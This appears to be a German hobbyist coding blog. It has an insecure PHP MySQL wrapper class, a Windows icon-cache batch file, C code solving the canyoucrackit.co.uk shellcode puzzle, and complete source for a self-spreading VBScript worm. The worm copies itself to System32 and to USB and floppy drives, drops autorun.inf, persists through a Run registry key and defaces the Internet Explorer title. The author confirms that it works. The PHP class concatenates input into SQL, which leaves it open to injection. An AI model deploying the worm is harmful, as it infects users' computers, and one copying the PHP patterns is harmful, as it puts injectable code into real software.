Coding

PHP MySQL Class

Auf drängen eines Einzelnen für die Allgemeinheit eine Warnung:
Diese Klasse dient der Veranschaulichung und sollte so nicht benutzt werden da sie ein Sicherheitsrisiko darstellt (zufrieden ‘fanta’?)

 PHP |  copy code |? 
001
< ?php
002
 
003
class MySQL {
004
 
005
	var $connection;
006
 
007
	function connect()
008
	{
009
		global $dbhost,$dbuser,$dbpass;
010
 
011
		if(!$this->connection)
012
			$this->connection = mysql_connect($dbhost,$dbuser,$dbpass) OR DIE ($this->mysql_err());
013
 
014
		if($this->connection)
015
			return $this->connection;
016
		else
017
			break;
018
	}
019
 
020
	function mysql_err()
021
	{
022
		global $PHP_SELF;
023
		$error = mysql_errno($this->connection).": ".mysql_error($this->connection)."( ".$PHP_SELF." )\n";
024
		return $error;
025
	}
026
 
027
	function getTable($dbname,$query)
028
	{
029
		global $debug;
030
		if (is_numeric(strpos($query, " ")))
031
		{
032
			$query = $query;
033
		}
034
		else
035
		{
036
			$query = "SELECT $query.* FROM $query";
037
		}
038
 
039
		if($debug[MySQL] == true)
040
		{
041
			echo $query."\n";
042
		}
043
		$result = mysql_db_query($dbname,$query,$this->connect()) OR DIE($this->mysql_err());
044
 
045
		if($result)
046
		{
047
			$i=0;
048
			while($tmp = mysql_fetch_array($result,MYSQL_ASSOC))
049
			{
050
				foreach($tmp as $key=>$element)
051
				{
052
					$array[$i][$key]=stripslashes($element);
053
				}
054
				$i++;
055
			}
056
		}
057
 
058
		mysql_free_result($result);
059
 
060
		return $array;
061
	}
062
 
063
	function saveTableRow($dbname,$query,$array)
064
	{
065
		global $debug;
066
		foreach($array as $key=>$element)
067
		{
068
			$element = addslashes($element);
069
			$keys[] = $key;
070
			$values[] = "'".$element."'";
071
			$update[] = $key."='".$element."'";
072
		}
073
 
074
		if($array[ID] == "")
075
		{
076
			$query = "INSERT INTO $query (".implode(", ",$keys).") VALUES (".implode(", ",$values).")";
077
		}
078
		else
079
		{
080
			$query = "UPDATE $query SET ".implode(", ",$update)." WHERE ID = '".$array[ID]."'";
081
		}
082
 
083
		if($debug[MySQL] == true)
084
		{
085
			echo $query."\n";
086
		}
087
		$result = mysql_db_query($dbname,$query,$this->connect()) OR DIE($this->mysql_err());
088
		$id = mysql_insert_id();
089
 
090
		if($id=="")
091
		{
092
			$id = $array[ID];
093
		}
094
		if($id=="")
095
		{
096
			$id=false;
097
		}
098
		return $id;
099
	}
100
 
101
	function deleteTableRow($dbname,$query,$id="")
102
	{
103
		global $debug;
104
		if (is_numeric(strpos($query, " ")))
105
		{
106
			$query = $query;
107
		}
108
		elseif(is_numeric($id))
109
		{
110
			$query = "DELETE FROM $query WHERE ID = '$id'";
111
		}
112
		else
113
		{
114
			$query = "DELETE FROM $query";
115
		}
116
		if($debug[MySQL] == true)
117
		{
118
			echo $query."\n";
119
		}
120
		$result = mysql_db_query($dbname,$query,$this->connect()) OR DIE ($this->mysql_err());
121
 
122
		return $result;
123
	}
124
 
125
	function executeQ($dbname,$query)
126
	{
127
		global $debug;
128
		if($debug[MySQL] == true)
129
		{
130
			echo $query."\n";
131
		}
132
		$result = mysql_db_query($dbname,$query,$this->connect()) OR DIE ($this->mysql_err());
133
 
134
		return $result;
135
	}
136
 
137
	function close()
138
	{
139
		if($this->connection)
140
			mysql_close($this->connection);
141
	}
142
}
143
 
144
?>

Leider funktioniert noch kein LEFT JOIN. jedoch kann man mit executeQ nachhelfen ;)
Diese Klasse wurde aus meinen untiefen der HDD gekramt, sie wird nicht mehr weiterentwickelt und steht zur freien Verfügung.

OpSys Notepad

Ist das euch nicht auch schon passiert? Ihr recherchiert im Internet, findet etwas und habt nichts um schnell Notizen zu erstellen. Auch gibt es manchmal die Situation dass ihr nicht vor eurem PC sitzt und so das Gefundene nicht einfach abspeichern könnt. Gestern war bei mir so ein Moment.

Daher arbeite ich derzeit an einem eigenen Notizblock System. Klar, sowas gibt es auch von Google, jedoch wird dieser Service bald abgeschaltet. Auch schwirren so wieder Daten von mir irgendwo auf einem fremden System herum. Ich habe mir als Ziel gesetzt die Notizfunktion so einfach wie nötig zu halten. Ich setze dabei auf die Erstellungen von Klassen in PHP, auch wird alles in .txt-Dateien abgespeichert. Geplant ist die Nutzung von Markdown, so kann man seine Notizdatei auch im Aussehen anpassen. Markdown ist eine wirklich einfache Art Text zu schreiben welcher später formartiert werden soll. Ich finde diesen Weg der Gestaltung einfacher als BBCodes wodurch der Text zu kryptisch wird.

Auch wird es die Möglichkeit geben .txt-Dateien herunterzuladen oder öffentlich zu machen. So braucht man dann nur einen Link weitergeben und jemand anderes kann die Notizen lesen. Ich finde diese Funktion nützlich.

Derzeit arbeite ich noch an der Datenstruktur, jedoch mit stetigen Fortschritten. Angepeilt ist Ende Februar als Fertigstellungstermin.

Ich werde mir wohl demnächst C# beibringen. Wer dazu gute Lektüre kennt möge sich bitte bei mir melden. Ich freue mich über jeden Tipp.

Windows Thumbnail Cache neu erstellen

Da ich heute selber mit dem Problem kämpfen musste (das Foobar Icon wurde nicht mehr angezeigt) habe ich folgendes Batch File erstellt:

 Bash |  copy code |? 
01
@echo off
02
title Deleting Icon Cache
03
cls
04
echo The Explorer process must be killed to delete the Icon DB.
05
echo Please SAVE ALL OPEN WORK before continuing
06
pause
07
taskkill /IM explorer.exe /F
08
echo Attempting to delete Icon DB...
09
If exist %userprofile%\AppData\Local\IconCache.db goto delID
10
echo Previous Icon DB not found...trying to build a new one
11
goto :main
12
 
13
:delID
14
cd /d %userprofile%\AppData\Local
15
del IconCache.db /a
16
pause
17
echo Icon DB has been successfully deleted
18
goto main
19
 
20
:main
21
echo Windows 7 must be restarted to rebuild the Icon DB.
22
echo Restart now? (Y/N):
23
set /p choice=
24
If %choice% == y goto end
25
echo Restart aborted...please close this window
26
explorer.exe
27
 
28
:end
29
shutdown /r /t 0
30
exit

Die .bat-Datei muss dabei als Administrator ausgeführt werden.

Canyoucrackit.co.uk

 C |  copy code |? 
001
#include <stdio .h>
002
#include <stdint .h>
003
#include <malloc .h>
004
#include <stdlib .h>
005
#include <errno .h>
006
#include <string .h>
007
#include <time .h>
008
#include <sys /types.h>
009
#include </sys><sys /mman.h>
010
#include </sys><sys /utsname.h>
011
 
012
#include "part2.h"
013
 
014
static char part1[] = {
015
    0xeb, 0x04, 0xaf, 0xc2, 0xbf, 0xa3, 0x81, 0xec,   0x00, 0x01, 0x00, 0x00, 0x31, 0xc9, 0x88, 0x0c,
016
    0x0c, 0xfe, 0xc1, 0x75, 0xf9, 0x31, 0xc0, 0xba,   0xef, 0xbe, 0xad, 0xde, 0x02, 0x04, 0x0c, 0x00,
017
    0xd0, 0xc1, 0xca, 0x08, 0x8a, 0x1c, 0x0c, 0x8a,   0x3c, 0x04, 0x88, 0x1c, 0x04, 0x88, 0x3c, 0x0c,
018
    0xfe, 0xc1, 0x75, 0xe8, 0xe9, 0x5c, 0x00, 0x00,   0x00, 0x89, 0xe3, 0x81, 0xc3, 0x04, 0x00, 0x00,
019
    0x00, 0x5c, 0x58, 0x3d, 0x41, 0x41, 0x41, 0x41,   0x75, 0x43, 0x58, 0x3d, 0x42, 0x42, 0x42, 0x42,
020
    0x75, 0x3b, 0x5a, 0x89, 0xd1, 0x89, 0xe6, 0x89,   0xdf, 0x29, 0xcf, 0xf3, 0xa4, 0x89, 0xde, 0x89,
021
    0xd1, 0x89, 0xdf, 0x29, 0xcf, 0x31, 0xc0, 0x31,   0xdb, 0x31, 0xd2, 0xfe, 0xc0, 0x02, 0x1c, 0x06,
022
    0x8a, 0x14, 0x06, 0x8a, 0x34, 0x1e, 0x88, 0x34,   0x06, 0x88, 0x14, 0x1e, 0x00, 0xf2, 0x30, 0xf6,
023
    0x8a, 0x1c, 0x16, 0x8a, 0x17, 0x30, 0xda, 0x88,   0x17, 0x47, 0x49, 0x75, 0xde, 0x31, 0xdb, 0x89,
024
    0xd8, 0xfe, 0xc0, 0xcd, 0x80, 0x90, 0x90, 0xe8,   0x9d, 0xff, 0xff, 0xff, 0x41, 0x41, 0x41, 0x41,
025
};
026
 
027
// code to dump the decrypted memory:
028
static const char dump_mem[] = {
029
    0xba, 0x31, 0x00, 0x00, 0x00,   // mov    edx, 0x40
030
    0x8d, 0x4f, 0xce,               // lea    ecx, [edi-0x32]
031
    0x31, 0xdb,                     // xor    ebx, ebx
032
    0x43,                           // inc    ebx (stdout)
033
    0x31, 0xc0,                     // xor    eax, eax
034
    0xb0, 0x04,                     // add    al, 0x4           - sys_write
035
    0xcd, 0x80,                     // int    0x80
036
    0x31, 0xdb,                     // xor    ebx,ebx
037
    0x43,                           // inc    ebx
038
    0x31, 0xd2,                     // xor    edx,edx
039
    0x42,                           // inc    edx
040
    0x68, 0x0a, 0x00,0x00, 0x00,    // push   0xa
041
    0x8d, 0x0c, 0x24,               // lea    ecx,[esp]
042
    0xb8, 0x04, 0x00,0x00, 0x00,    // mov    eax, 0x4
043
    0xcd, 0x80,                     // int    0x80              - sys_write
044
    0x31, 0xdb,                     // xor    ebx,ebx
045
    0x31, 0xc0,                     // xor    eax,eax
046
    0x40,                           // inc    eax
047
    0xcd, 0x80,                     // int    0x80              - sys_exit
048
};
049
 
050
uint32_t patch_mem(char *ptr, size_t size)
051
{
052
    uint32_t i;
053
 
054
    for (i = 0; i < size; i++) {
055
        if (*(uint16_t *)&#038;ptr[i] == 0x80cd) {
056
            *(uint16_t *)&#038;ptr[i] = 0x45eb;
057
            return 0;
058
        }
059
    }
060
    return 1;
061
}
062
 
063
uint32_t check_arch(void)
064
{
065
    struct utsname kernel_info;
066
 
067
    uname(&#038;kernel_info);
068
    return strcmp(kernel_info.machine, "i686") ? 1 : 0;
069
}
070
 
071
int main(int argc, char **argv)
072
{
073
    void *mem;
074
 
075
    if (check_arch()) {
076
        printf("[-] this program must run on a 32-bit architecture\n");
077
        return 1;
078
    }
079
 
080
    printf("[*] allocating page aligned memory\n");
081
    mem = memalign(4096, 4096);
082
    if (!mem) {
083
        printf("[-] error: %s\n", strerror(errno));
084
        return 1;
085
    }
086
    memset(mem, 0, 4096);
087
 
088
    printf("[*] setting page permissions\n");
089
    if (mprotect(mem, 4096, PROT_READ | PROT_WRITE | PROT_EXEC)) {
090
        printf("[-] error: %s\n", strerror(errno));
091
        return 1;
092
    }
093
 
094
    printf("[*] copying payload\n");
095
 
096
    memcpy(mem, part1, sizeof(part1));
097
    memcpy(mem + sizeof(part1), part2, sizeof(part2));
098
    memcpy(mem + sizeof(part1) + sizeof(part2), dump_mem, sizeof(dump_mem));
099
 
100
    printf("[*] adding dump_mem payload\n");
101
    if (patch_mem(mem, sizeof(part1))) {
102
        printf("[-] failed to patch memory\n");
103
        return 0;
104
    }
105
 
106
    printf("[*] executing payload..\n\n");
107
 
108
    ((int(*)(void))mem)();
109
 
110
    return 0;
111
}

 C |  copy code |? 
01
#ifndef PART2_H
02
#define PART2_H
03
 
04
// base64 encoded data in the png header
05
static char part2[] = {
06
    0x42, 0x42, 0x42, 0x42, 0x32, 0x00, 0x00, 0x00,   0x91, 0xd8, 0xf1, 0x6d, 0x70, 0x20, 0x3a, 0xab,
07
    0x67, 0x9a, 0x0b, 0xc4, 0x91, 0xfb, 0xc7, 0x66,   0x0f, 0xfc, 0xcd, 0xcc, 0xb4, 0x02, 0xfa, 0xd7,
08
    0x77, 0xb4, 0x54, 0x38, 0xab, 0x1f, 0x0e, 0xe3,   0x8e, 0xd3, 0x0d, 0xeb, 0x99, 0xc3, 0x93, 0xfe,
09
    0xd1, 0x2b, 0x1b, 0x11, 0xc6, 0x11, 0xef, 0xc8,   0xca, 0x2f,
10
};
11
 
12
#endif

Muss auf einem Linux System ausgeführt werden.
canyoucrackit.co.uk

VB Wurm

Heute mal ein Beispielcode eines Wurms welcher sich automatisch verbreitet und den Internet Explorer ändert.

 Visual Basic |  copy code |? 
01
'Mutation of Trojan virus.
02
'My name is PC1337.vbs
03
On error resume next
04
Dim mysource, winpath, flashdrive, fs, mf, atr, tf, rg, nt, check, sd,
05
                oldname, newname, rgname
06
Set fs = createobject ("Scripting.FileSystemObject")
07
Set wn = WScript.CreateObject ("WScript.Network")
08
Set mf = fs.getfile (Wscript.ScriptFullname)
09
oldname = CStr (fs.getfilename (Wscript.ScriptFullname))
10
newname = wn.ComputerName &amp; ".vbs"
11
rgname = Replace (newname, ".vbs", "")
12
atr = "[autorun]" &amp; vbcrlf &amp; "shellexecute=wscript.exe PC1337.vbs"
13
dim text, size
14
size = mf.size
15
check = mf.drive.drivetype
16
Set text = mf.openastextstream (1, -2)
17
do while not text.atendofstream
18
        mysource = mysource &amp; text.readline
19
        mysource = mysource &amp; vbcrlf
20
Loop
21
mysource = Replace (mysource, oldname, newname)
22
do
23
        Set winpath = fs.getspecialfolder (0)
24
        Set tf = fs.getfile(winpath &amp; "\SYSTEM32\" &amp; newname)
25
        tf.attributes = 32
26
        Set tf = fs.createtextfile (winpath &amp; "\SYSTEM32\" &amp; newname, 2, true)
27
        tf.write mysource
28
        tf.close
29
        Set tf = fs.getfile (winpath &amp; "\SYSTEM32\" &amp; newname)
30
        tf.attributes = 39
31
For each flashdrive in fs.drives
32
        If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and
33
                        flashdrive.path &lt;&gt; "A:" Then
34
                Set tf = fs.getfile (flashdrive.path &amp; "\PC1337.vbs")
35
                tf.attributes = 32
36
                Set tf = fs.createtextfile (flashdrive.path &amp; "\PC1337.vbs",
37
                                2, true)
38
                tf.write mysource
39
                tf.close
40
                Set tf = fs.getfile (flashdrive.path &amp; "\PC1337.vbs")
41
                tf.attributes = 39
42
 
43
                Set tf = fs.getfile (flashdrive.path &amp; "\autorun.inf")
44
                tf.attributes = 32
45
                Set tf = fs.createtextfile (flashdrive.path &amp; "\autorun.inf",
46
                                2, true)
47
                tf.write atr
48
                tf.close
49
                Set tf = fs.getfile (flashdrive.path &amp; "\autorun.inf")
50
                tf.attributes = 39
51
        End If
52
next
53
Set rg = createobject ("WScript.Shell")
54
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" &amp;
55
                rgname &amp; "", winpath &amp; "\SYSTEM32\" &amp; newname
56
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title",
57
                "Hacked by " &amp; Replace (oldname, ".vbs", "")
58
        if check &lt;&gt; 1 then
59
                Wscript.sleep 120000
60
        End if
61
loop while check &lt;&gt; 1
62
Set sd = createobject ("Wscript.shell")
63
sd.run winpath &amp; "\explorer.exe /e,/select, " &amp; Wscript.ScriptFullname

Was macht das Script also nun? Es gibt sich Rechte für Dateioperatoren und Netzwerke, dann versucht es sich auf jeden Datenträger zu schreiben. Dabei ändert es seinen Namen zu dem Computernamen auf dem es läuft. Danach wird der Quelltext in eine Variable geschrieben. Das VBS-Skript kopiert sich nun in das system32 Verzeichnis von Windows und gibt sich Dateiattribute, somit wird es als Systemdatei anerkannt. Nun schreibt es sich auf jeden Datenträger, sei es ein USB-Stick oder eine Diskette. Dabei wird auch eine autorun.inf angelegt welche das Skript beim einlegen des Datenträgers startet. Nun ändert das Skript den Titelrahmen des Internet-Explorers mit ‘Hacked by’. Dann wird 120 Sekunden gewartet bis sich das Skript erneut startet.
Ich bitte um Vorsicht dabei, es funktioniert wirklich (ein ANtivirenprogramm dürfe aber Alarm schlagen).

 Scroll to top